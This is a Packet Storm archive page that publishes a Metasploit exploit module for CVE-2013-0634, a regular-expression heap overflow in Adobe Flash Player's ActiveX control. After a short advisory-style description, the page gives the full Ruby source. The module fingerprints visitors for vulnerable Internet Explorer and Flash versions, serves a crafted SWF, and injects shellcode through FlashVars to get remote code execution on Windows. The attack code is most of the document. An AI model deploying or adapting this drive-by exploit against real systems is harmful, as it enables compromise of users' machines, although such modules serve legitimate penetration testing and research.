the original cloud security

Adobe Flash Player Regular Expression Heap Overflow

Adobe Flash Player Regular Expression Heap Overflow
Posted Apr 19, 2014
Authored by juan vazquez, temp66, Boris dukeBarman Ryutin | Site metasploit.com

This Metasploit module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.5.502.149. By supplying a specially crafted swf file with special regex value, it is possible to trigger an memory corruption, which results in remote code execution under the context of the user, as exploited in the wild in February 2013. This Metasploit module has been tested successfully with Adobe Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before MS13-063, since it takes advantage of a predictable SharedUserData in order to leak ntdll and bypass ASLR.

tags | exploit, remote, code execution, activex
systems | windows, xp, 7
advisories | CVE-2013-0634, OSVDB-89936
MD5 | 228fa2f8713ad5f23d8ad51136d35d78

Adobe Flash Player Regular Expression Heap Overflow

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Regular Expression Heap Overflow",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
Flash Player before 11.5.502.149. By supplying a specially crafted swf file
with special regex value, it is possible to trigger an memory corruption, which
results in remote code execution under the context of the user, as exploited in
the wild in February 2013. This module has been tested successfully with Adobe
Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before
MS13-063, since it takes advantage of a predictable SharedUserData in order to
leak ntdll and bypass ASLR.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # malware sample
'Boris "dukeBarman" Ryutin', # msf exploit
'juan vazquez' # ActionScript deobfuscation and cleaning
],
'References' =>
[
[ 'CVE', '2013-0634' ],
[ 'OSVDB', '89936'],
[ 'BID', '57787'],
[ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ],
[ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ],
[ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 8 2013",
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf
super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end

print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)

swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
shellcode = get_payload(cli, target_info).unpack("H*")[0]

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="his=<%=shellcode%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    5 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close